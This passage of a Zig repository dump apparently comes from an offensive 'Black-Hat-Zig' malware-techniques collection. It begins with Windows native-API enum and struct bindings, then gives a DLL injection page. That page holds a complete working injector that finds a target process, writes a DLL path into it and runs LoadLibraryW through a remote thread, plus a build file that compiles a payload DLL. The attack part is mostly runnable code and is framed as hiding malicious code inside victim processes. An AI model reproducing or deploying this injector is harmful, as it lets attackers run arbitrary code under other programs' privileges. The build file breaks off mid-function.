    SystemComPlusPackage, // q; s: ULONG
    SystemNumaAvailableMemory, // q: SYSTEM_NUMA_INFORMATION // 60
    SystemProcessorPowerInformation, // q: SYSTEM_PROCESSOR_POWER_INFORMATION (EX in: USHORT ProcessorGroup)
    SystemEmulationBasicInformation, // q: SYSTEM_BASIC_INFORMATION
    SystemEmulationProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION
    SystemExtendedHandleInformation, // q: SYSTEM_HANDLE_INFORMATION_EX
    SystemLostDelayedWriteInformation, // q: ULONG
    SystemBigPoolInformation, // q: SYSTEM_BIGPOOL_INFORMATION
    SystemSessionPoolTagInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION
    SystemSessionMappedViewInformation, // q: SYSTEM_SESSION_MAPPED_VIEW_INFORMATION
    SystemHotpatchInformation, // q; s: SYSTEM_HOTPATCH_CODE_INFORMATION
    SystemObjectSecurityMode, // q: ULONG // 70
    SystemWatchdogTimerHandler, // s: SYSTEM_WATCHDOG_HANDLER_INFORMATION // (kernel-mode only)
    SystemWatchdogTimerInformation, // q: SYSTEM_WATCHDOG_TIMER_INFORMATION // (kernel-mode only)
    SystemLogicalProcessorInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION (EX in: USHORT ProcessorGroup)
    SystemWow64SharedInformationObsolete, // not implemented
    SystemRegisterFirmwareTableInformationHandler, // s: SYSTEM_FIRMWARE_TABLE_HANDLER // (kernel-mode only)
    SystemFirmwareTableInformation, // SYSTEM_FIRMWARE_TABLE_INFORMATION
    SystemModuleInformationEx, // q: RTL_PROCESS_MODULE_INFORMATION_EX
    SystemVerifierTriageInformation, // not implemented
    SystemSuperfetchInformation, // q; s: SUPERFETCH_INFORMATION // PfQuerySuperfetchInformation
    SystemMemoryListInformation, // q: SYSTEM_MEMORY_LIST_INFORMATION; s: SYSTEM_MEMORY_LIST_COMMAND (requires SeProfileSingleProcessPrivilege) // 80
    SystemFileCacheInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (same as SystemFileCacheInformation)
    SystemThreadPriorityClientIdInformation, // s: SYSTEM_THREAD_CID_PRIORITY_INFORMATION (requires SeIncreaseBasePriorityPrivilege)
    SystemProcessorIdleCycleTimeInformation, // q: SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION[] (EX in: USHORT ProcessorGroup)
    SystemVerifierCancellationInformation, // SYSTEM_VERIFIER_CANCELLATION_INFORMATION // name:wow64:whNT32QuerySystemVerifierCancellationInformation
    SystemProcessorPowerInformationEx, // not implemented
    SystemRefTraceInformation, // q; s: SYSTEM_REF_TRACE_INFORMATION // ObQueryRefTraceInformation
    SystemSpecialPoolInformation, // q; s: SYSTEM_SPECIAL_POOL_INFORMATION (requires SeDebugPrivilege) // MmSpecialPoolTag, then MmSpecialPoolCatchOverruns != 0
    SystemProcessIdInformation, // q: SYSTEM_PROCESS_ID_INFORMATION
    SystemErrorPortInformation, // s (requires SeTcbPrivilege)
    SystemBootEnvironmentInformation, // q: SYSTEM_BOOT_ENVIRONMENT_INFORMATION // 90
    SystemHypervisorInformation, // q: SYSTEM_HYPERVISOR_QUERY_INFORMATION
    SystemVerifierInformationEx, // q; s: SYSTEM_VERIFIER_INFORMATION_EX
    SystemTimeZoneInformation, // q; s: RTL_TIME_ZONE_INFORMATION (requires SeTimeZonePrivilege)
    SystemImageFileExecutionOptionsInformation, // s: SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION (requires SeTcbPrivilege)
    SystemCoverageInformation, // q: COVERAGE_MODULES s: COVERAGE_MODULE_REQUEST // ExpCovQueryInformation (requires SeDebugPrivilege)
    SystemPrefetchPatchInformation, // SYSTEM_PREFETCH_PATCH_INFORMATION
    SystemVerifierFaultsInformation, // s: SYSTEM_VERIFIER_FAULTS_INFORMATION (requires SeDebugPrivilege)
    SystemSystemPartitionInformation, // q: SYSTEM_SYSTEM_PARTITION_INFORMATION
    SystemSystemDiskInformation, // q: SYSTEM_SYSTEM_DISK_INFORMATION
    SystemProcessorPerformanceDistribution, // q: SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION (EX in: USHORT ProcessorGroup) // 100
    SystemNumaProximityNodeInformation, // q; s: SYSTEM_NUMA_PROXIMITY_MAP
    SystemDynamicTimeZoneInformation, // q; s: RTL_DYNAMIC_TIME_ZONE_INFORMATION (requires SeTimeZonePrivilege)
    SystemCodeIntegrityInformation, // q: SYSTEM_CODEINTEGRITY_INFORMATION // SeCodeIntegrityQueryInformation
    SystemProcessorMicrocodeUpdateInformation, // s: SYSTEM_PROCESSOR_MICROCODE_UPDATE_INFORMATION
    SystemProcessorBrandString, // q: CHAR[] // HaliQuerySystemInformation -> HalpGetProcessorBrandString, info class 23
    SystemVirtualAddressInformation, // q: SYSTEM_VA_LIST_INFORMATION[]; s: SYSTEM_VA_LIST_INFORMATION[] (requires SeIncreaseQuotaPrivilege) // MmQuerySystemVaInformation
    SystemLogicalProcessorAndGroupInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX (EX in: LOGICAL_PROCESSOR_RELATIONSHIP RelationshipType) // since WIN7 // KeQueryLogicalProcessorRelationship
    SystemProcessorCycleTimeInformation, // q: SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION[] (EX in: USHORT ProcessorGroup)
    SystemStoreInformation, // q; s: SYSTEM_STORE_INFORMATION (requires SeProfileSingleProcessPrivilege) // SmQueryStoreInformation
    SystemRegistryAppendString, // s: SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS // 110
    SystemAitSamplingValue, // s: ULONG (requires SeProfileSingleProcessPrivilege)
    SystemVhdBootInformation, // q: SYSTEM_VHD_BOOT_INFORMATION
    SystemCpuQuotaInformation, // q; s: PS_CPU_QUOTA_QUERY_INFORMATION
    SystemNativeBasicInformation, // q: SYSTEM_BASIC_INFORMATION
    SystemErrorPortTimeouts, // SYSTEM_ERROR_PORT_TIMEOUTS
    SystemLowPriorityIoInformation, // q: SYSTEM_LOW_PRIORITY_IO_INFORMATION
    SystemTpmBootEntropyInformation, // q: TPM_BOOT_ENTROPY_NT_RESULT // ExQueryTpmBootEntropyInformation
    SystemVerifierCountersInformation, // q: SYSTEM_VERIFIER_COUNTERS_INFORMATION
    SystemPagedPoolInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypePagedPool)
    SystemSystemPtesInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemPtes) // 120
    SystemNodeDistanceInformation, // q: USHORT[4*NumaNodes] // (EX in: USHORT NodeNumber)
    SystemAcpiAuditInformation, // q: SYSTEM_ACPI_AUDIT_INFORMATION // HaliQuerySystemInformation -> HalpAuditQueryResults, info class 26
    SystemBasicPerformanceInformation, // q: SYSTEM_BASIC_PERFORMANCE_INFORMATION // name:wow64:whNtQuerySystemInformation_SystemBasicPerformanceInformation
    SystemQueryPerformanceCounterInformation, // q: SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION // since WIN7 SP1
    SystemSessionBigPoolInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION // since WIN8
    SystemBootGraphicsInformation, // q; s: SYSTEM_BOOT_GRAPHICS_INFORMATION (kernel-mode only)
    SystemScrubPhysicalMemoryInformation, // q; s: MEMORY_SCRUB_INFORMATION
    SystemBadPageInformation,
    SystemProcessorProfileControlArea, // q; s: SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA
    SystemCombinePhysicalMemoryInformation, // s: MEMORY_COMBINE_INFORMATION, MEMORY_COMBINE_INFORMATION_EX, MEMORY_COMBINE_INFORMATION_EX2 // 130
    SystemEntropyInterruptTimingInformation, // q; s: SYSTEM_ENTROPY_TIMING_INFORMATION
    SystemConsoleInformation, // q; s: SYSTEM_CONSOLE_INFORMATION
    SystemPlatformBinaryInformation, // q: SYSTEM_PLATFORM_BINARY_INFORMATION (requires SeTcbPrivilege)
    SystemPolicyInformation, // q: SYSTEM_POLICY_INFORMATION (Warbird/Encrypt/Decrypt/Execute)
    SystemHypervisorProcessorCountInformation, // q: SYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION
    SystemDeviceDataInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION
    SystemDeviceDataEnumerationInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION
    SystemMemoryTopologyInformation, // q: SYSTEM_MEMORY_TOPOLOGY_INFORMATION
    SystemMemoryChannelInformation, // q: SYSTEM_MEMORY_CHANNEL_INFORMATION
    SystemBootLogoInformation, // q: SYSTEM_BOOT_LOGO_INFORMATION // 140
    SystemProcessorPerformanceInformationEx, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX // (EX in: USHORT ProcessorGroup) // since WINBLUE
    SystemCriticalProcessErrorLogInformation,
    SystemSecureBootPolicyInformation, // q: SYSTEM_SECUREBOOT_POLICY_INFORMATION
    SystemPageFileInformationEx, // q: SYSTEM_PAGEFILE_INFORMATION_EX
    SystemSecureBootInformation, // q: SYSTEM_SECUREBOOT_INFORMATION
    SystemEntropyInterruptTimingRawInformation,
    SystemPortableWorkspaceEfiLauncherInformation, // q: SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION
    SystemFullProcessInformation, // q: SYSTEM_PROCESS_INFORMATION with SYSTEM_PROCESS_INFORMATION_EXTENSION (requires admin)
    SystemKernelDebuggerInformationEx, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX
    SystemBootMetadataInformation, // 150
    SystemSoftRebootInformation, // q: ULONG
    SystemElamCertificateInformation, // s: SYSTEM_ELAM_CERTIFICATE_INFORMATION
    SystemOfflineDumpConfigInformation, // q: OFFLINE_CRASHDUMP_CONFIGURATION_TABLE_V2
    SystemProcessorFeaturesInformation, // q: SYSTEM_PROCESSOR_FEATURES_INFORMATION
    SystemRegistryReconciliationInformation, // s: NULL (requires admin) (flushes registry hives)
    SystemEdidInformation, // q: SYSTEM_EDID_INFORMATION
    SystemManufacturingInformation, // q: SYSTEM_MANUFACTURING_INFORMATION // since THRESHOLD
    SystemEnergyEstimationConfigInformation, // q: SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION
    SystemHypervisorDetailInformation, // q: SYSTEM_HYPERVISOR_DETAIL_INFORMATION
    SystemProcessorCycleStatsInformation, // q: SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION (EX in: USHORT ProcessorGroup) // 160
    SystemVmGenerationCountInformation,
    SystemTrustedPlatformModuleInformation, // q: SYSTEM_TPM_INFORMATION
    SystemKernelDebuggerFlags, // SYSTEM_KERNEL_DEBUGGER_FLAGS
    SystemCodeIntegrityPolicyInformation, // q; s: SYSTEM_CODEINTEGRITYPOLICY_INFORMATION
    SystemIsolatedUserModeInformation, // q: SYSTEM_ISOLATED_USER_MODE_INFORMATION
    SystemHardwareSecurityTestInterfaceResultsInformation,
    SystemSingleModuleInformation, // q: SYSTEM_SINGLE_MODULE_INFORMATION
    SystemAllowedCpuSetsInformation,
    SystemVsmProtectionInformation, // q: SYSTEM_VSM_PROTECTION_INFORMATION (previously SystemDmaProtectionInformation)
    SystemInterruptCpuSetsInformation, // q: SYSTEM_INTERRUPT_CPU_SET_INFORMATION // 170
    SystemSecureBootPolicyFullInformation, // q: SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION
    SystemCodeIntegrityPolicyFullInformation,
    SystemAffinitizedInterruptProcessorInformation, // (requires SeIncreaseBasePriorityPrivilege)
    SystemRootSiloInformation, // q: SYSTEM_ROOT_SILO_INFORMATION
    SystemCpuSetInformation, // q: SYSTEM_CPU_SET_INFORMATION // since THRESHOLD2
    SystemCpuSetTagInformation, // q: SYSTEM_CPU_SET_TAG_INFORMATION
    SystemWin32WerStartCallout,
    SystemSecureKernelProfileInformation, // q: SYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION
    SystemCodeIntegrityPlatformManifestInformation, // q: SYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION // since REDSTONE
    SystemInterruptSteeringInformation, // SYSTEM_INTERRUPT_STEERING_INFORMATION_INPUT // 180
    SystemSupportedProcessorArchitectures, // p: in opt: HANDLE, out: SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION[] // NtQuerySystemInformationEx
    SystemMemoryUsageInformation, // q: SYSTEM_MEMORY_USAGE_INFORMATION
    SystemCodeIntegrityCertificateInformation, // q: SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION
    SystemPhysicalMemoryInformation, // q: SYSTEM_PHYSICAL_MEMORY_INFORMATION // since REDSTONE2
    SystemControlFlowTransition, // (Warbird/Encrypt/Decrypt/Execute)
    SystemKernelDebuggingAllowed, // s: ULONG
    SystemActivityModerationExeState, // SYSTEM_ACTIVITY_MODERATION_EXE_STATE
    SystemActivityModerationUserSettings, // SYSTEM_ACTIVITY_MODERATION_USER_SETTINGS
    SystemCodeIntegrityPoliciesFullInformation,
    SystemCodeIntegrityUnlockInformation, // SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION // 190
    SystemIntegrityQuotaInformation,
    SystemFlushInformation, // q: SYSTEM_FLUSH_INFORMATION
    SystemProcessorIdleMaskInformation, // q: ULONG_PTR[ActiveGroupCount] // since REDSTONE3
    SystemSecureDumpEncryptionInformation,
    SystemWriteConstraintInformation, // SYSTEM_WRITE_CONSTRAINT_INFORMATION
    SystemKernelVaShadowInformation, // SYSTEM_KERNEL_VA_SHADOW_INFORMATION
    SystemHypervisorSharedPageInformation, // SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION // since REDSTONE4
    SystemFirmwareBootPerformanceInformation,
    SystemCodeIntegrityVerificationInformation, // SYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION
    SystemFirmwarePartitionInformation, // SYSTEM_FIRMWARE_PARTITION_INFORMATION // 200
    SystemSpeculationControlInformation, // SYSTEM_SPECULATION_CONTROL_INFORMATION // (CVE-2017-5715) REDSTONE3 and above.
    SystemDmaGuardPolicyInformation, // SYSTEM_DMA_GUARD_POLICY_INFORMATION
    SystemEnclaveLaunchControlInformation, // SYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION
    SystemWorkloadAllowedCpuSetsInformation, // SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION // since REDSTONE5
    SystemCodeIntegrityUnlockModeInformation,
    SystemLeapSecondInformation, // SYSTEM_LEAP_SECOND_INFORMATION
    SystemFlags2Information, // q: SYSTEM_FLAGS_INFORMATION
    SystemSecurityModelInformation, // SYSTEM_SECURITY_MODEL_INFORMATION // since 19H1
    SystemCodeIntegritySyntheticCacheInformation,
    SystemFeatureConfigurationInformation, // SYSTEM_FEATURE_CONFIGURATION_INFORMATION // since 20H1 // 210
    SystemFeatureConfigurationSectionInformation, // SYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION
    SystemFeatureUsageSubscriptionInformation, // SYSTEM_FEATURE_USAGE_SUBSCRIPTION_DETAILS
    SystemSecureSpeculationControlInformation, // SECURE_SPECULATION_CONTROL_INFORMATION
    SystemSpacesBootInformation, // since 20H2
    SystemFwRamdiskInformation, // SYSTEM_FIRMWARE_RAMDISK_INFORMATION
    SystemWheaIpmiHardwareInformation,
    SystemDifSetRuleClassInformation,
    SystemDifClearRuleClassInformation,
    SystemDifApplyPluginVerificationOnDriver,
    SystemDifRemovePluginVerificationOnDriver, // 220
    SystemShadowStackInformation, // SYSTEM_SHADOW_STACK_INFORMATION
    SystemBuildVersionInformation, // SYSTEM_BUILD_VERSION_INFORMATION
    SystemPoolLimitInformation, // SYSTEM_POOL_LIMIT_INFORMATION (requires SeIncreaseQuotaPrivilege)
    SystemCodeIntegrityAddDynamicStore,
    SystemCodeIntegrityClearDynamicStores,
    SystemDifPoolTrackingInformation,
    SystemPoolZeroingInformation, // SYSTEM_POOL_ZEROING_INFORMATION
    SystemDpcWatchdogInformation,
    SystemDpcWatchdogInformation2,
    SystemSupportedProcessorArchitectures2, // q: in opt: HANDLE, out: SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION[] // NtQuerySystemInformationEx  // 230
    SystemSingleProcessorRelationshipInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX // (EX in: PROCESSOR_NUMBER Processor)
    SystemXfgCheckFailureInformation,
    SystemIommuStateInformation, // SYSTEM_IOMMU_STATE_INFORMATION // since 22H1
    SystemHypervisorMinrootInformation, // SYSTEM_HYPERVISOR_MINROOT_INFORMATION
    SystemHypervisorBootPagesInformation, // SYSTEM_HYPERVISOR_BOOT_PAGES_INFORMATION
    SystemPointerAuthInformation, // SYSTEM_POINTER_AUTH_INFORMATION
    SystemSecureKernelDebuggerInformation,
    SystemOriginalImageFeatureInformation,
    MaxSystemInfoClass,
};

// https://processhacker.sourceforge.io/doc/ntbasic_8h.html
pub const KPRIORITY = LONG;

// https://doxygen.reactos.org/da/df4/struct__SYSTEM__PROCESS__INFORMATION.html
pub const SYSTEM_PROCESS_INFORMATION = extern struct {
    NextEntryOffset: ULONG,
    NumberOfThreads: ULONG,
    WorkingSetPrivateSize: LARGE_INTEGER, // VISTA
    HardFaultCount: ULONG, // WIN7
    NumberOfThreadsHighWatermark: ULONG, // WIN7
    CycleTime: ULONGLONG, // WIN7
    CreateTime: LARGE_INTEGER,
    UserTime: LARGE_INTEGER,
    KernelTime: LARGE_INTEGER,
    ImageName: UNICODE_STRING,
    BasePriority: KPRIORITY,
    UniqueProcessId: HANDLE,
    InheritedFromUniqueProcessId: HANDLE,
    HandleCount: ULONG,
    SessionId: ULONG,
    PageDirectoryBase: ULONG_PTR,

    // VM_COUNTERS_EX part
    // NOTE: *NOT* THE SAME AS VM_COUNTERS!
    PeakVirtualSize: SIZE_T,
    VirtualSize: SIZE_T,
    PageFaultCount: ULONG,
    PeakWorkingSetSize: SIZE_T,
    WorkingSetSize: SIZE_T,
    QuotaPeakPagedPoolUsage: SIZE_T,
    QuotaPagedPoolUsage: SIZE_T,
    QuotaPeakNonPagedPoolUsage: SIZE_T,
    QuotaNonPagedPoolUsage: SIZE_T,
    PagefileUsage: SIZE_T,
    PeakPagefileUsage: SIZE_T,
    PrivatePageCount: SIZE_T,

    // IO_COUNTERS part
    ReadOperationCount: LARGE_INTEGER,
    WriteOperationCount: LARGE_INTEGER,
    OtherOperationCount: LARGE_INTEGER,
    ReadTransferCount: LARGE_INTEGER,
    WriteTransferCount: LARGE_INTEGER,
    OtherTransferCount: LARGE_INTEGER,
    // SYSTEM_THREAD_INFORMATION TH[1]; - Usually accessed separately
};

// Pointer types (equivalent to your typedefs)
pub const PUNICODE_STRING = *UNICODE_STRING;
pub const PSYSTEM_PROCESS_INFORMATION = *SYSTEM_PROCESS_INFORMATION;

// Export commonly used constants
pub const SystemProcessInformation = SYSTEM_INFORMATION_CLASS.SystemProcessInformation;

```

## /src/Malware-Techniques/Process-Injection/dll_injection.md

# DLL Injection

## TL;DR

[See the code example](https://github.com/CX330Blake/Black-Hat-Zig/tree/main/src/Malware-Techniques/Process-Injection/dll_injection)

DLL injection forces a target process to load an external dynamic library. By
allocating space for the DLL path and invoking `LoadLibrary` via a remote thread,
attackers can execute arbitrary code inside the victim process. This technique
allows the malicious DLL to share the target's privileges and resources while
remaining disguised as part of the normal application. The code example writes
the path of a crafted DLL into the remote process and starts a new thread so the
library gets loaded and its exported functions run in that context.

## Code Walkthrough

```zig title="main.zig"
const std = @import("std");
const windows = std.os.windows;
const kernel = windows.kernel32;
const print = std.debug.print;

// Windows API types
const HANDLE = windows.HANDLE;
const DWORD = windows.DWORD;
const BOOL = windows.BOOL;
const LPVOID = windows.LPVOID;
const LPCWSTR = windows.LPCWSTR;
const SIZE_T = windows.SIZE_T;

// Process access rights
const PROCESS_ALL_ACCESS = 0x001F0FFF;
const PROCESS_CREATE_THREAD = 0x0002;
const PROCESS_QUERY_INFORMATION = 0x0400;
const PROCESS_VM_OPERATION = 0x0008;
const PROCESS_VM_WRITE = 0x0020;
const PROCESS_VM_READ = 0x0010;

// Memory allocation constants
const MEM_COMMIT = windows.MEM_COMMIT;
const MEM_RESERVE = windows.MEM_RESERVE;
const PAGE_READWRITE = windows.PAGE_READWRITE;

// Snapshot constants
const TH32CS_SNAPPROCESS = windows.TH32CS_SNAPPROCESS;
const INVALID_HANDLE_VALUE = windows.INVALID_HANDLE_VALUE;

// Process entry structure
const PROCESSENTRY32W = extern struct {
    dwSize: DWORD,
    cntUsage: DWORD,
    th32ProcessID: DWORD,
    th32DefaultHeapID: usize,
    th32ModuleID: DWORD,
    cntThreads: DWORD,
    th32ParentProcessID: DWORD,
    pcPriClassBase: i32,
    dwFlags: DWORD,
    szExeFile: [260]u16,
};

// Windows API function declarations
const CreateToolhelp32Snapshot = kernel.CreateToolhelp32Snapshot;
extern "kernel32" fn Process32FirstW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(.C) BOOL;
extern "kernel32" fn Process32NextW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(.C) BOOL;
extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(.C) ?HANDLE;
const GetModuleHandleW = kernel.GetModuleHandleW;
const GetProcAddress = kernel.GetProcAddress;
extern "kernel32" fn VirtualAllocEx(HANDLE, ?LPVOID, SIZE_T, DWORD, DWORD) callconv(.C) ?LPVOID;
const WriteProcessMemory = windows.WriteProcessMemory;
extern "kernel32" fn CreateRemoteThread(HANDLE, ?*anyopaque, SIZE_T, *const fn (?LPVOID) callconv(.C) DWORD, ?LPVOID, DWORD, ?*DWORD) callconv(.C) ?HANDLE;
const GetLastError = windows.GetLastError;
const CloseHandle = windows.CloseHandle;
extern "kernel32" fn GetExitCodeThread(HANDLE, *DWORD) BOOL;

// Helper function to wait for Enter key
fn waitForEnter(message: []const u8) void {
    print("{s}", .{message});
    var buffer: [256]u8 = undefined;
    _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}

// Convert UTF-8 string to wide string
fn convertToWideString(allocator: std.mem.Allocator, utf8_str: []const u8) ![:0]u16 {
    return try std.unicode.utf8ToUtf16LeAllocZ(allocator, utf8_str);
}

// Compare wide strings (case-insensitive)
fn compareWideStringsIgnoreCase(str1: []const u16, str2: []const u16) bool {
    return windows.eqlIgnoreCaseWTF16(str1, str2);
}

// Get remote process PID by name (simplified to return just PID)
fn getRemoteProcessPid(allocator: std.mem.Allocator, process_name: []const u8) !DWORD {
    const wide_process_name = try convertToWideString(allocator, process_name);
    defer allocator.free(wide_process_name);

    print("[i] Searching For Process Id Of \"{s}\" ... ", .{process_name});

    const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        print("[!] CreateToolhelp32Snapshot Failed With Error : {d} \n", .{GetLastError()});
        return error.SnapshotFailed;
    }
    defer _ = CloseHandle(snapshot);

    var process_entry = std.mem.zeroes(PROCESSENTRY32W);
    process_entry.dwSize = @sizeOf(PROCESSENTRY32W);

    if (Process32FirstW(snapshot, &process_entry) == 0) {
        print("[!] Process32FirstW Failed With Error : {d} \n", .{GetLastError()});
        return error.ProcessEnumFailed;
    }

    while (true) {
        var exe_name_len: usize = 0;
        while (exe_name_len < process_entry.szExeFile.len and process_entry.szExeFile[exe_name_len] != 0) {
            exe_name_len += 1;
        }

        const exe_name = process_entry.szExeFile[0..exe_name_len];

        if (compareWideStringsIgnoreCase(exe_name, wide_process_name)) {
            print("[+] DONE \n", .{});
            print("[i] Found Target Process Pid: {d} \n", .{process_entry.th32ProcessID});
            return process_entry.th32ProcessID;
        }

        if (Process32NextW(snapshot, &process_entry) == 0) {
            break;
        }
    }

    print("[!] Process is Not Found \n", .{});
    return error.ProcessNotFound;
}

// Main DLL injection function
fn injectDllToRemoteProcess(h_process: HANDLE, dll_name: [:0]u16) BOOL {
    var h_thread: ?HANDLE = null;
    defer {
        if (h_thread) |thread| {
            _ = CloseHandle(thread);
        }
    }

    // Calculate the size of DllName in bytes
    const dw_size_to_write = (std.mem.len(dll_name.ptr) + 1) * @sizeOf(u16);

    // Get the address of LoadLibraryW from kernel32.dll
    const kernel32_handle = GetModuleHandleW(std.unicode.utf8ToUtf16LeStringLiteral("kernel32.dll")) orelse {
        print("[!] GetModuleHandleW Failed With Error: {d}\n", .{GetLastError()});
        return 0;
    };

    const p_load_library_w = GetProcAddress(kernel32_handle, "LoadLibraryW") orelse {
        print("[!] GetProcAddress Failed With Error: {d}\n", .{GetLastError()});
        return 0;
    };

    // Allocate memory in the remote process
    const p_address = VirtualAllocEx(
        h_process,
        null,
        dw_size_to_write,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE,
    ) orelse {
        print("[!] VirtualAllocEx Failed With Error: {d}\n", .{GetLastError()});
        return 0;
    };

    print("[i] pAddress Allocated At : 0x{x} Of Size : {d}\n", .{ @intFromPtr(p_address), dw_size_to_write });
    waitForEnter("[#] Press <Enter> To Write ... ");

    // Cast to bytes (UTF-16), including the null terminator
    const bytes = std.mem.sliceAsBytes(@as([*]u16, @ptrCast(dll_name))[0 .. dw_size_to_write / 2]);

    // Write the DLL name to the remote process memory
    const write_result = WriteProcessMemory(
        h_process,
        p_address,
        bytes,
    ) catch {
        print("[!] WriteProcessMemory Failed With Error: {d}\n", .{GetLastError()});
        return 0;
    };

    if (write_result != dw_size_to_write) {
        print("[!] Expected to write: {d} bytes, actually wrote: {d} bytes\n", .{ dw_size_to_write, write_result });
        return 0;
    }

    print("[i] Successfully Written {d} Bytes\n", .{write_result});
    waitForEnter("[#] Press <Enter> To Run ... ");

    print("[i] Executing Payload ... \n", .{});

    // Create a remote thread to execute LoadLibraryW with our DLL path
    h_thread = CreateRemoteThread(
        h_process,
        null,
        0,
        @ptrCast(p_load_library_w),
        p_address,
        0,
        null,
    ) orelse {
        print("[!] CreateRemoteThread Failed With Error: {d}\n", .{GetLastError()});
        return 0;
    };

    windows.WaitForSingleObject(h_thread.?, windows.INFINITE) catch {
        print("[!] WaitForSingleObject failed: {}\n", .{GetLastError()});
    };

    var exit_code: DWORD = 0;
    if (GetExitCodeThread(h_thread.?, &exit_code) == 0) {
        print("[!] GetExitCodeThread failed: {}\n", .{GetLastError()});
        return 1;
    } else if (exit_code == 0) {
        print("[!] LoadLibraryW returned NULL (DLL not found / load error)\n", .{});
        return 1;
    }

    print("[+] DONE!\n", .{});
    print("[+] DLL Injection Completed Successfully!\n", .{});

    return 1; // TRUE
}

// Print usage information
fn printUsage(program_name: []const u8) void {
    print("[!] Usage : \"{s}\" <Complete DLL Payload Path> <Process Name>\n", .{program_name});
}

pub fn main() !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    defer _ = gpa.deinit();
    const allocator = gpa.allocator();

    const args = try std.process.argsAlloc(allocator);
    defer std.process.argsFree(allocator, args);

    if (args.len != 3) {
        printUsage(args[0]);
        std.process.exit(1);
    }

    const dll_path = args[1];
    const process_name = args[2];

    // It must be an absolute directory in order to run
    const absolute = try std.fs.cwd().realpathAlloc(allocator, dll_path);
    defer allocator.free(absolute);

    // Find target process PID
    const target_pid = try getRemoteProcessPid(allocator, process_name);

    // Open target process
    const target_process = OpenProcess(
        PROCESS_ALL_ACCESS,
        0, // bInheritHandle = FALSE
        target_pid, // Now using just the PID (DWORD)
    ) orelse {
        print("[!] OpenProcess Failed With Error: {d}\n", .{GetLastError()});
        print("[!] Try running as Administrator or check process permissions.\n", .{});
        std.process.exit(1);
    };
    defer _ = CloseHandle(target_process);

    // Convert DLL path to wide string
    const wide_dll_path = try convertToWideString(allocator, absolute);
    defer allocator.free(wide_dll_path);

    // Inject DLL
    const injection_result = injectDllToRemoteProcess(target_process, wide_dll_path);

    if (injection_result == 1) {
        print("\n", .{});
        print("SUCCESS! DLL injection completed successfully!\n", .{});
        print("Your payload should now be running in the target process!\n", .{});
    } else {
        print("\n", .{});
        print("FAILED! DLL injection was not successful.\n", .{});
        print("Check the error messages above for details.\n", .{});
        std.process.exit(1);
    }

    waitForEnter("\n[#] Press <Enter> To Exit ... ");
}
```


## /src/Malware-Techniques/Process-Injection/dll_injection/build.zig

```zig path="/src/Malware-Techniques/Process-Injection/dll_injection/build.zig" 
const std = @import("std");

pub fn build(b: *std.Build) void {
    const target = b.standardTargetOptions(.{
        .default_target = .{
            .cpu_arch = .x86_64,
            .os_tag = .windows,
        },
    });
    const optimize = b.standardOptimizeOption(.{});

    // 1. Build the Payload DLL (from root.zig)
    const payload_dll = b.addSharedLibrary(.{
        .name = "payload_dll",
        .root_source_file = b.path("src/root.zig"),
        .target = target,
        .optimize = optimize,
    });

    // Link Windows libraries for the DLL
    payload_dll.linkSystemLibrary("kernel32");
    payload_dll.linkSystemLibrary("user32");

    // Install the DLL
    b.installArtifact(payload_dll);

    // 2. Build the DLL Injector executable (from main.zig)
    const injector_exe = b.addExecutable(.{
        .name = "dll_injector",
        .root_source_file = b.path("src/main.zig"),
        .target = target,
        .optimize = optimize,
    });

    // Link Windows libraries for the injector
    injector_exe.linkSystemLibrary("kernel32");
    injector_exe.linkSystemLibrary("user32");

    // Install the injector
    b.installArtifact(injector_exe);

    // 3. Create run step for the injector
    const run_cmd = b.addRunArtifact(injector_exe);
    run_cmd.step.dependOn(b.getInstallStep());

    // Pass arguments to the application
    if (b.args) |args| {
        run_cmd.addArgs(args);
    }

    const run_step = b.step("run", "Run the DLL injector");
    run_step.dependOn(&run_cmd.step);

    // 4. Alternative run steps with specific names
